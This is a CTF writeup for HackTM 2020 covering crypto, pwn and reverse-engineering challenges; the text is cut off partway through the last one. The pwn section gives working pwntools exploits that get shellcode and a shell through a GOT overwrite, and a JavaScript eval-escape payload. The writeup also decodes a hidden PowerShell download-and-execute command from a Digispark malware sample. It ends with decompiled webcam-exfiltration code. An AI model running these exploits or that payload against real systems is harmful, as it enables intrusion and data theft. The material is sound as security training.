7feilee
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # HackTM_CTF_2020 writeup by OpenToAll ## crypto ### Count on me - CORRECTION: AES 256 is used. Not AES 128. We are given a key.png and aes-cbc iv and ciphertext. the goal is to recover the 256 bits aes key from the key.png and decrypt the flag. Notice that the symbols in the key.png length is 59 and have 20 types. Guess that we need to do base16 on the base20 strings. ```python from Crypto.Cipher import AES from binascii import hexlify, unhexlify import hashlib import string from Crypto.Util.number import long_to_bytes a = [19,3,10,15,2] b = [16,16,18,12,19,6,19,12,8] c = [5,8,17,18,18,5,9,3,11,10,1,10,10,0,10] d = [0,8,18,10,0,15,18,5,18,14,19,1,1,0,4,6,15,4,11,16,10,8,14,5,13,16,9] for i in range(0,20): for j in range(0,20): for k in range(0,20): key = a+[i]+b+[j]+c+[k]+d m = 0 length = len(key) for inx in range(59): t = key[inx]%5 tt = key[inx]//5 m+=20**(length-1)*(tt*5+t) length = length-1 key = long_to_bytes(m) IV = unhexlify('42042042042042042042042042042042') ciphertext = unhexlify('059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec') cipher = AES.new(key,AES.MODE_CBC,IV) plaintext = cipher.decrypt(ciphertext) if b"Hack" in plaintext: print(plaintext) ``` > flag:HackTM{can_1_h@ve_y0ur_numb3r_5yst3m_??} ### Bad keys 1. nc to the rsa services and find out the relations between rsa public keys. 2. the p generated is through nextprime(last_p), so we assume that we know partial p and use small roots to factor n. 3. rsa decrypt to get flag. > script: rsa known e,d,n to factor n. > ```python #:crypto:rsa #--- import fractions #for gcd function (or easily implementable to avoid import) import random #for random elements drawing in RecoverPrimeFactors def failFunction(): print("Prime factors not found") def outputPrimes(a, n): p = fractions.gcd(a, n) q = int(n // p) if p > q: p, q = q, p print("Found factors p and q") print("p = {0}".format(str(p))) print("q = {0}".format(str(q))) return p,q def RecoverPrimeFactors(n, e, d): """The following algorithm recovers the prime factor s of a modulus, given the public and private exponents. Function call: RecoverPrimeFactors(n, e, d) Input: n: modulus e: public exponent d: private exponent Output: (p, q): prime factors of modulus""" k = d * e - 1 if k % 2 == 1: failFunction() return 0, 0 else: t = 0 r = k while(r % 2 == 0): r = int(r // 2) t += 1 for i in range(1, 101): g = random.randint(0, n) # random g in [0, n-1] y = pow(g, r, n) if y == 1 or y == n - 1: continue else: for j in range(1, t): # j \in [1, t-1] x = pow(y, 2, n) if x == 1: p, q = outputPrimes(y - 1, n) return p, q elif x == n - 1: continue y = x x = pow(y, 2, n) if x == 1: p, q = outputPrimes(y - 1, n) return p, q e = 65537 n1 = 107738293149136356482923627336592945119622047657597144133562489157501221595866062514202211675562048081654014041687875409379723635110395165419586834350034466366187291910585422409652554918657839160876939834602916154799615165933646763420540163389362292513152896918119204191571725586015930581404159705468060409023 d1 = 43079206737768256429726927603573830460040828217149597357523307877570220057672309812543585409129247142526259028677400172464343162764055500096438240904262517976001577610565879221367291125393151675930294515792609934175783377913993680946551010191577712294027502084042714989416915068272117930206494402915016026073 n4 = 19755645309508460178164804618402420076421716386183099547528894183361313000257096987827554794853784391857377433035132297365735616159238673669215035469027929239873926855127121651075185694192418701722297520457081247801309281948974068252996082424680872337195682008300995912578250535571641224204762962306000584503 d4 = -6487949616194677638809238900191880728517091135996747662564114767360201713605039877763896147971954796007542830633308702507022409731835359772075548291802917819414859279485176965917979890209837039186635292143031526627561258969160256972188545271390664399619265279871969621170817073464117836672676555781136227159 n2 = 38828126331658966056149620434855411097779647149321589655724175129533339949221260740794366534065342446895667391794524232206955451406922543771191916245945306019518411536432046436241639145281846477137610980238865715388443690781000005200749313898426051389916343577785908384234665064781964142499142575132920505483 d2 = 15397472805186152384657101873467770557398038508990628096535019720790423301956320023688981672243529378097433508481436292030861425250080259854273261078716940963712072968550428398200649645198326147833720096203319708771900190381106879568880088782232980671552128937085311551020707803411480304163766984299807727393 n3 = 10372030793101152879650458467958498667354333964214907234179049395860018056531587264795101234424351152925662965920998597140545147407692883046051926594142377821924590277203641801698107476474664011894543180006692315158733558692084238109198764384894820221705851699227195296412899305946275993260368433660201469439 d3 = 3355792009657397281842445051720280234715981771781022826701444426656939177421849891858268254188228662383626921119197617433939901210502767781687978569391255386158464591356875153141159793114211113207321813121885465175942471393081482360591755101419672564078671583989747553713699350336047012554266339323675443425 RecoverPrimeFactors(n1, e, d1) RecoverPrimeFactors(n2, e, d2) RecoverPrimeFactors(n3, e, d3) RecoverPrimeFactors(n4, e, (d4%n4)) ``` > script:known partial p to factor n. ```sage #:crypto:sage:rsa:coppersmith #--- n = 2318553827267041599931064141028026591078453523755133761420994537426231546233197332557815088229590256567177621743082082713100922775483908922217521567861530205737139513575691852244362271068595653732088709994411183164926098663772268120044065766077197167667585331637038825079142327613226776540743407081106744519 p =12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163 beta = 0.5 epsilon = beta^2/7 kbits = 100 pbits = p.nbits() kbits = floor(n.nbits()*(beta^2-epsilon)) pbar = p & (2^pbits-2^kbits) print("upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)) PR.<x> = PolynomialRing(Zmod(n)) f = x + pbar x0 = f.small_roots(X=2^kbits, beta=0.3)[0] # find root < 2^kbits with factor >= n^0.3 print(x0 + pbar) ``` ### RSA is easy \#1 The challenge code encrypts each plaintext character separately with no padding, which means we can bruteforce it byte-by-byte. ```python lines = [l.strip() for l in open('c').readlines()] e, n = eval(lines[1]) ct = eval(lines[4]) flag = '' for c in ct: for x in range(256): if pow(x, e, n) == c: flag += chr(x) break print flag ``` ### RSA is easy \#2 > just sort the ciphertext as the character frequencies, the first two is " " and "e", and use gcd to get `k*n`, bruteforce char by char to get flag. ```python cipher = [] #Encrypted flag: character_frequencies = {} for i in cipher: if i not in character_frequencies: character_frequencies[i] = 1 else: character_frequencies[i]+=1 character_frequencies = {k: v for k, v in sorted(character_frequencies.items(), key=lambda item: item[1])} print(character_frequencies) import gmpy2 e = 65537 res = gmpy2.gcd(pow(ord(" "),e)-20208833413145256771572368688664189468143545391164156105460199405734708819434076552216759462791005323959520084836115140504630769338040681414876273881508073569978297202819424741264124574247314460725471331318820764161255759739403546471531796892912689444815674366578876801858606344288032682809803593429599353582,pow(ord("e"),e)-18218008764547928666818612371880437638590536088955960541217152923316878781023941482176664233664036926858934241182299360237997946767992823894857524509996035969116730840866188239505740019205603874588738160712590494329532220987368292751238523333362017189147629358097781421283836794237708493190976028985458918909) print(res) n = 53361144550014053166721365196980912889938802302767543436340298420353476899874610747222379321544658210212273658744624182437888528301817525619324262586755752560722184172889301780332276353612167586294259101340749155939404015704537471927068307582449663907783314406726655255040519664154112497941090624585931831047 flag = "" for i in cipher: for j in range(32,127): if pow(j,e,n) == i: flag+=chr(j) break print(flag) ``` ### Prison Break In this challenge the main task was to optimise the code so that it doesn't take too long to get the solution * First we create a _zero_list_ consisting of 10000001 zeroes (the question demanded for only 10**7 zeroes, but I had the additional 1 just for safety) * In the first loop when we iterate through all the lines in _Given_File_, we update ```zero_list[a] = (zero_list[a]+c)%10``` as mentioned in the challenge * Similarly we update ```zero_list[b] = (zero_list[b]+c)%10``` * We do not update all the values between ```zero_list[a]``` and ```zero_list[b]``` just to reduce the complexity of the code. * Then we loop in the ```zero_list``` to add the element in i with its previous element % 10. The first part of the question (_add c modulo 10 to every number in your list between indices a and b_) is now solved. * The rest of the question is self explanatory, we need to find the product % 999999937 of the nonzero digits in your ```zero_list```. * Overall this was solved in **O(n)** where n=10**7. ```python zero_list = [0]*10000001 file = open("Given_File.txt", "r") prime = 999999937 for line in file.readlines(): #lst[0] = a; lst[1] = b; lst[2] = c; lst = [] lst = list(line.split(' ')) lst[2] = lst[2][0:-1] zero_list[int(lst[0])] = (zero_list[int(lst[0])] + int(lst[2]))%10 zero_list[int(lst[1])] = (zero_list[int(lst[1])] - int(lst[2]) + 10)%10 for i in range(1,10000001): zero_list[i] = (zero_list[i] + (zero_list[i-1]))%10 product = 1 for i in range(1,10000001): if(zero_list[i] != 0): product = (product * zero_list[i])%prime print(product) ``` ## pwn ### Quack the quackers Author: @n2k Special thanks to @Q5Ca, who helped with the challenge. Content of the task: > Our company was breached and multiple computers were physically compromised. We found this weird device supposedly called a "Digispark" and dumped its memory, but we couldn't figure out anything else about what happened. Could you please take a look? Also, please try to find out exactly what data the attackers managed to exfiltrate. Attachment: quack_the_quackers.rom Hint! > This task has multiple stages. There's nothing to pwn in the first one - i.e. the digispark ROM dump. See how that device might have hacked our company. #### 1st stage: reconnaissance Quick Google search revealed that: The Digispark is an Attiny85 based microcontroller development board similar to the Arduino line, only cheaper, smaller, and a bit less powerful.[1] #### 2nd stage: disassembly Now, knowing that we are probably dealing with program written for Attiny85, we could try to disassemble it. We had several options, but decided to use IDA Pro. IDA does not have cfg file for this architecture, but anyway it's AVR, so it is possible to go with i.e. Atmega320. Fortunately, it occurred that someone already developed suitable cfg for avr (which can be found here[2]), so we could work in comfortable way. #### 3rd stage: identifying key code fragments and interpreting it One of more interesting functions seems to be at address 0x600. We can see relation between title of the challenge 'Quack The Quackers' and this function – it seems to check consecutive letters of some input checking if it contains letters from alphabet = {'Q', 'A', 'C', 'K', '!'}. Let's take a closer look on this: ``` ROM:0609 E10E ldi r16, 0x1E ROM:060A E010 ldi r17, 0 ROM:060B E0C0 ldi r28, 0 ROM:060C E0D0 ldi r29, 0 ROM:060D ROM:060D loc_60D: ; CODE XREF: setup+42↓j ROM:060D E0E6 ldi r30, 6 ROM:060E 3701 cpi r16, 0x71 ; 'q' ROM:060F 071E cpc r17, r30 ROM:0610 F191 breq loc_643 ``` Immediate value 0x1e is loaded to register r16 (0x609), and then it's compared to '0x71' which stands for small letter 'q' (0x60e). It occurs that under 0x1E there is a very long string containing letters only from our alphabet ! ``` 00000000: b8c3 dcc3 08c4 dac3 2bc8 d8c3 d7c3 d6c3 ........+....... 00000010: d5c3 d4c3 d3c3 d2c3 d1c3 d0c3 cfc3 5155 ..............QU 00000020: 5555 4155 5541 4b4b 4b4b 4b4b 4b4b 4b43 UUAUUAKKKKKKKKKC 00000030: 4b43 5555 5555 5555 5555 434b 4b4b 4b4b KCUUUUUUUUCKKKKK 00000040: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b43 5555 KKKKKKKKKKKKKCUU 00000050: 5555 5555 5555 5555 5555 5543 5543 4b4b UUUUUUUUUUUCUCKK 00000060: 4b4b 4b4b 4b4b 4b4b 4b43 4b4b 4b43 5555 KKKKKKKKKCKKKCUU 00000070: 5555 5555 5543 434b 4b4b 4b4b 4b4b 4b4b UUUUUCCKKKKKKKKK 00000080: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b KKKKKKKKKKKKKKKK 00000090: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b KKKKKKKKKKKKKKKK 000000a0: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b KKKKKKKKKKKKKKKK 000000b0: 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b 4b4b KKKKKKKKKKKKKKKK 000000c0: 4b4b 4b43 5555 5555 5555 5555 5555 5555 KKKCUUUUUUUUUUUU ``` It does mean that the string may be a program, and our function can be an interpreter of some esoteric language. Additional hint is that after checking if we interpret each letter there is a branch to handler procedure. 1. 'Q' letter ``` ROM:0615 E048 ldi r20, 8 ROM:0616 E165 ldi r22, 0x15 ROM:0617 C01A rjmp loc_632 ... ROM:0632 E782 ldi r24, 0x72 ; 'r' ROM:0633 E090 ldi r25, 0 ROM:0634 DF99 rcall sub_5CE ROM:0635 DF33 rcall sub_569 ``` If 'Q' letter was found the program jumps to address 0x615. It loads value 0x8 to r20 register and value 0x15 to r22. Then it is calling sub_5CE function, which is wrapper for sub_5A9. Sub_5A9 seems to be very big and interpreting it can take a big amount of time. Here comes the diaphora! Knowing that we look at Digispark, we can compile example with their API and make binary comparison. We chose a digispark keyboard example from [3] And we found that sub_59A is in fact DigiKeyboardDevice::sendKeyPress function. So we do know arguments : r20 = 0x8 – a modifier MOD_GUI_LEFT r22 = 0x15 – stands for KEY_R (codes can be found i.e. here [4]) So 'Q' means pressing WIN + R combination, which opens a 'Run' window. 2. 'U' letter ``` adiw r28, 1 rjmp loc_636 ``` For this letter key thing is adiw r28, 1 line. It increases r28 register by one, but it also stands for Y index, which is also a value of current letter in our Quack string. 3. 'A' letter ``` movw r24, r28 movw r22, r28 rcall sub_89C movw r28, r24 rjmp loc_636 ``` It calls sub_89C which modifying letter value in some way. We were not interpreted this function – just literally rewritten it to save time. 4. 'C' letter It calls sub_5D8 which is very similar to sendkeypress, but it takes hex value instead of scan codes. The argument is r22=r28 (letter value). 5. 'K' letter Analogue to 'U', but decreasing letter value by 1. 6. '!' mark Pressing ENTER #### 4th stage: writing script Our parsing script: ```py import code import logging import signal import sys ​ ​ ​ def sigusr2_handler(signal, frame): code.interact(local=dict(locals(), **globals())) signal.signal(signal.SIGUSR2, sigusr2_handler) ​ ​ ​ def setup_logging(): simple_formatter = logging.Formatter("[%(asctime)s:%(process)-5d:%(levelname)-8s:%(name)s(%(filename)s:%(lineno)d)] %(message)s") ​ # LogViewPlus pattern parser: # [%date{yyyy-MM-dd HH:mm:ss,fff}:%s{PID}:%level:%logger(%file:%line)] %message%newline fh = logging.FileHandler(filename="parsowanie.log") fh.setLevel(logging.DEBUG) fh.setFormatter(simple_formatter) sh = logging.StreamHandler(stream=sys.stdout) sh.setLevel(logging.DEBUG) sh.setFormatter(simple_formatter) ​ logger = logging.getLogger() logger.addHandler(fh) logger.addHandler(sh) logger.setLevel(logging.DEBUG) ​ ​ if __name__ == "__main__": setup_logging() ​ logger = logging.getLogger('pr') ​ logger_output = logging.getLogger('pr.output') ​ wejscie = \ "QUUUAUUAKKKKKKKKKCKCUUUUUUUUCKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCUCKKKKKKKKKKKCKKKCUUUUUUUCCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAUUUUUUUUUUCUCUCUUCKKKCKKKKKKKKKCUUUCUUUCKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAKKCKKKKKKKKKKKKKKCUUUUUCKKKKKKKKKKCUUUUUUUUUUUCUUUUUUUUCKKKKCUCUUUUUCKKKKKKKKKKKKKCKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKAUUUUCUCKKKKKCCUCUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAUUUAUAKCUUUUUUUUUUUUCKKCCKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCUUCKKKKKKKKKKKKKKKKKKKKKKKKAUUUUUCUUUUUUUUUUUUUUCKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKAUUUUUUUUUUCKCKKKKKKKKKCUUCUUUUUUUUUUUUUUCKKKKKKKKKKKKCUUUUUUUUUUUUUCKKKKKKKKKKKKKKKCUUUUCUUUUUUUUUCKKKKKKKKCKKKKKKKCUUUUUUUUUUCKKKKKKKKKKKKCUUUUCUUUUUUUUUUUUUUUUUCKKKKKKKKKKKKKKKCKKKCUUUUUCUCUCKKKKKKKKKKKCUUCUUUUUUUUUUCUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAKCUCUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKCKKCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKAKKKKKKKKKCUUUCUUUUUUUUUCKKKKKKKKKKKKKKKKKKKCKKKKCUUUUUUUUUUUUUUUUUUUCKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKC!" ​ def sub_89C_1(Y): r24 = Y & 0xff r25 = Y >> 8 r0 = 0 r21 = 0 r22_23 = (r25 << 8) + r24 while True: if r24 != 0: r22_23 = (r22_23 * 2) c = r22_23 > 65535 r22_23 %= 65535 if c: r0 += r24 c = r0 > 255 r0 %= 255 r21 += r25 + (1 if c else 0) r21 %= 255 else: if (r22_23 >> 8) == 0: break t = ((r25 << 8) + r24) & 0xffff t >>= 1 r24, r25 = (t & 0xff, t >> 8) else: break r24 = r0 r25 = r21 ret = (r25 * 256 + r25) % 65535 logger.debug("sub_89C(%s) = %s", hex(Y), hex(ret)) return ret ​ ​ def sub_89C(Y): def hi(w): return w >> 8 ​ def lo(w): return w & 0xff ​ wynik = 0 # r0:r21 r24_25 = Y r22_23 = Y ​ while True: #if lo(r24_25) == 0: if r24_25 == 0: break ​ r22_23, c = r22_23 >> 1, r22_23 & 1 if c: wynik = (wynik + r24_25) & 0xffff else: #if hi(r22_23) == 0: if lo(r22_23) == 0: #if hi(r22_23) == 0: break #r24_25, c = (r24_25 << 1) & 0xffff, (r24_25 << 1) > 0xffff r24_25, c = (r24_25 << 1) & 0xffff, (r24_25 << 1) > 0xffff ​ logger.debug("sub_89C(%s) = %s", hex(Y), hex(wynik)) return wynik ​ ​ def parse(txt): Y = 0 output = '' for c in txt: if c == 'Q': logger_output.debug('Special+R') output += "<Win+R>" elif c == 'U': Y = (Y + 1) & 0xffff elif c == 'A': Y = sub_89C(Y) elif c == 'C': logger_output.debug("ascii '%s' %d (%s)", chr(Y & 0xff), Y & 0xff, hex(Y & 0xff)) output += chr(Y & 0xff) elif c == 'K': Y = (Y - 1) & 0xffff elif c == '!': logger_output.debug("Enter") output += '\n' break ​ if Y == 0x0100: Y = 0 else: if Y == 0xffff: Y = 0 return output logger.debug("Wejscie to %s", wejscie) ​ parsed = parse(wejscie) logger_output.info("parsed as %s", repr(parsed)) ``` #### 5th stage: the exe file Our script outputs: ``` <Win+R>powershell -noprofile -windowstyle hidden -command "iwr nmdfthufjskdnbfwhejklacms.xyz/-ps|iex"\n' ``` Looks like we had second stage. #### 6th stage: playing with C&C The exe file [6] -> external file wasn't obfuscated too -> it communicated with C&C, so we decided to try to communicate with it on our own. After several simple tries we got a flag. ``` Ola@DESKTOP-GE6D4EA ~/indocs/ctf/2020-02-hacktm/quack_the_quackers$ perl -e 'print "@";print "X"' | nc nmdfthufjskdnbfwhejklacms.xyz 19834 ,RY SECRET: HackTM{Qu4ck_m3_b4ck_b4by!}HAT. Lucas requests the HackTM{Qu4c ``` It look likes the next sign after "@" indicated how long leak from C&C we want to get, which may be related with heartbleed, but eventually there was more re than pwning in this task. **Flag: HackTM{Qu4ck_m3_b4ck_b4by!}** #### References 1. [http://digistump.com/products/1](http://digistump.com/products/1) 2. [https://github.com/G33KatWork/token_of_hxp_writeup/blob/master/avr.cfg](https://github.com/G33KatWork/token_of_hxp_writeup/blob/master/avr.cfg) 3. [https://m3kkkn1ght.home.blog/2019/02/22/reverse-arduino-uno/](https://m3kkkn1ght.home.blog/2019/02/22/reverse-arduino-uno/) 4. [https://github.com/ernesto-xload/DigisparkKeyboard/blob/master/src/DigiKeyboard.h](https://github.com/ernesto-xload/DigisparkKeyboard/blob/master/src/DigiKeyboard.h) ] ### Obey The Rules In this challenge we control 9 bytes of shellcode the binary with unknown seccomp rules would run for us. This is enough to execute `read` syscall to deliver the second stage with (almost) no length limit. Through some experimentation we noticed that `write` syscall is blocked, however the binary leaks the signal that caused its termination. With this we can perform a binary search to leak the seccomp rules: ``` line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x08 0x00 0x40000000 if (A >= 0x40000000) goto 0012 0004: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0011 0005: 0x15 0x05 0x00 0x0000003c if (A == exit) goto 0011 0006: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0012 0007: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count) 0008: 0x15 0x00 0x02 0x00000003 if (A != 0x3) goto 0011 0009: 0x20 0x00 0x00 0x00000018 A = buf # read(fd, buf, count) 0010: 0x15 0x00 0x01 0x00602888 if (A != 0x602888) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x06 0x00 0x00 0x00000000 return KILL ``` We notice that we can read from fd=3 if buf is at 0x602888 and correct our second stage accordingly. ```python from pwn import * context.arch = 'amd64' context.log_level = 'error' def bsearch(addr, cmpbyte): s = remote('138.68.67.161', 20001) s.recvuntil('no)\n') # read stage2 shellcode stage1 = ''' xchg rsi, rax xchg ecx, eax xor edi, edi syscall ''' p = 'Y\x00' p += asm(stage1) p += '\xff' * (11 - len(p)) s.send(p) stage2 = shellcraft.open('/home/pwn/flag.txt') stage2 += shellcraft.read('rax', 0x602888, 0x100) stage2 += ''' mov edi, {} mov al, [edi] cmp al, {} jae debugger mov eax, 60 syscall debugger: int3 '''.format(addr, cmpbyte) p = 'A' * 9 p += asm(stage2) s.send(p) try: r = s.recvline().strip() except EOFError: s.close() return False s.close() if 'Trace' in r: return True def dump_byte(addr): l, h = 0, 0x100 while h - l > 1: m = (h + l) // 2 if bsearch(addr, m): l = m else: h = m return l flag = '' for i in range(150): flag += chr(dump_byte(0x602888 + i)) print flag ``` ### merry_cemetery We are given a js file and a wasm file which both seem to have been compiled from a c program. After adding a simple html wrapper it was possible to load it up in a browser and use the debugger. It didnt look like the wasm was needed at all, and the js still had some nice function names. You could add/remove a joke or ask for a reward. If you add 255 jokes then ask for a reward it allows you to write one more joke on your gravestone. If the gravestone joke passes the `_check` function then it is passed to `eval`. The check function makes sure thay you have not entered any b-zA-Z characters. The flag is stored in a variable `aaaa` and our payload cannot use any alpha characters other than `a`, but can use all the special character. jsfuck shows a few ways that functions can be executed, one of which is `[]["filter]()"`. We cant use the string directly but as digits are allowed we can use octal escapes. As errors were shown from the eval, it was enough to use the above with `aaaa` and the flag is returned in the type error. ``` ➜ (python -c 'print("+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n"*0xff+"$\n;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;"+ "[][\"\\146\\151\\154\\164\\145\\162\"](aaaa)" + ";"*0xff)'; cat -) | nc 138.68.67.161 20002 exception thrown: TypeError: HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght} is not a function,TypeError: HackTM{m4y_y0ur_d4ys_b3_m3rry_4nd_br1ght} is not a function ``` ### think_twice In this challenge we get unlimited arbitrary reads and a single write. 1. We can get multiple writes by overwriting the GOT entry of `exit` with an address in the `main` function that performs the arbitrary write. 2. The leaked libc pointers didn't correspond to any known libc build, so we assumed it was compiled manually and slowly exfiltrated it. 3. To get rip and rdi control we modified `setbuf` GOT entry and `stderr` in .bss to point to our data which is then called via `setbuf(stderr, 0)` in `init_proc`. 4. For some reason `system` didn't work, so instead we used `execve`. ```python from pwn import * context.arch = 'amd64' elf = ELF('./think-speak') s = remote('138.68.67.161', 20004) def leak(addr): s.sendlineafter(' >', '1') s.sendlineafter(': ', str(addr)) s.recvuntil('[ \n') d = s.recvuntil(' ]\n [1] Think')[:-13] return u64(d) def write(addr, value, exit = False): s.sendlineafter(' >', '2' if not exit else '3') s.sendlineafter(': ', str(addr)) s.sendlineafter(': ', str(value)) puts_addr = leak(elf.got['puts']) libc_addr = puts_addr - 0x691C0 print 'libc @ ' + hex(libc_addr) EXECVE = libc_addr + 0xB7E80 STDERR = 0x6010A0 BIN_SH = 0x601200 # get multiple writes write(elf.got['exit'], 0x400A31) write(BIN_SH, u64('/bin/sh\x00'), True) write(STDERR, BIN_SH, True) write(elf.got['setbuf'], EXECVE, True) write(elf.got['exit'], elf.symbols['init_proc'], True) # trigger execve s.sendlineafter(' >', '3') s.interactive() ``` ## rev ### ananas We are presented with a binary along with a pcap file. After some RE we can identify it's using a library called `videoInput` to capture webcam frames. For each frame captured it averages the pixel values to form a grayscale 8-bit array. It then connects to 134.209.225.118:18812, receives a 4-byte seed, shuffles the values according to some PRNG initialized with that seed and finally sends the shuffled array over the socket. The relevant functions are: main: ```C // ... videoInput::videoInput(&lib); videoInput::setupDevice(&lib, deviceNumber, 0, 160, 90); for ( i = 0; i <= 9; ++i ) { while ( 1 ) { if ( !(videoInput::isFrameNew(&lib, device, 0) ^ 1) ) break; Sleep(10u); } videoInput::getPixels(&lib, device, 0, dstBuffer, 1u, 0); } while ( 1 ) { Sleep(350u); while ( 1 ) { if ( !(videoInput::isFrameNew(&lib, device, 0) ^ 1) ) break; Sleep(0xAu); } videoInput::getPixels(&lib, device, 0, dstBuffer, 1u, 1u); for ( hieght = 0; hieght <= 89; ++hieght ) { for ( width = 0; width <= 159; ++width ) grayscale[160 * hieght + width] = (dstBuffer[3 * (width + 160 * hieght) + 2] + dstBuffer[3 * (width + 160 * hieght) + 1] + dstBuffer[3 * (width + 160 * hieght)]) / 3; } send_to_socket(grayscale, 14400); } // ... ``` send_to_socket: ```C int send_to_socket(char *data, int len) { bool ok; // al char byte; // [esp+13h] [ebp-25h] char buf[4]; // [esp+14h] [ebp-24h] int old; // [esp+18h] [ebp-20h] int r; // [esp+1Ch] [ebp-1Ch] SOCKET s; // [esp+20h] [ebp-18h] int n; // [esp+24h] [ebp-14h] int j; // [esp+28h] [ebp-10h] int i; // [esp+2Ch] [ebp-Ch] s = socket(2, 1, 6); if ( connect(s, &name, 16) != 0 ) exit(0); if ( recv(s, buf, 4, 0) == 0 ) exit(0); SEED = *(_DWORD *)buf; for ( i = len - 1; i > 0; --i ) { r = (unsigned 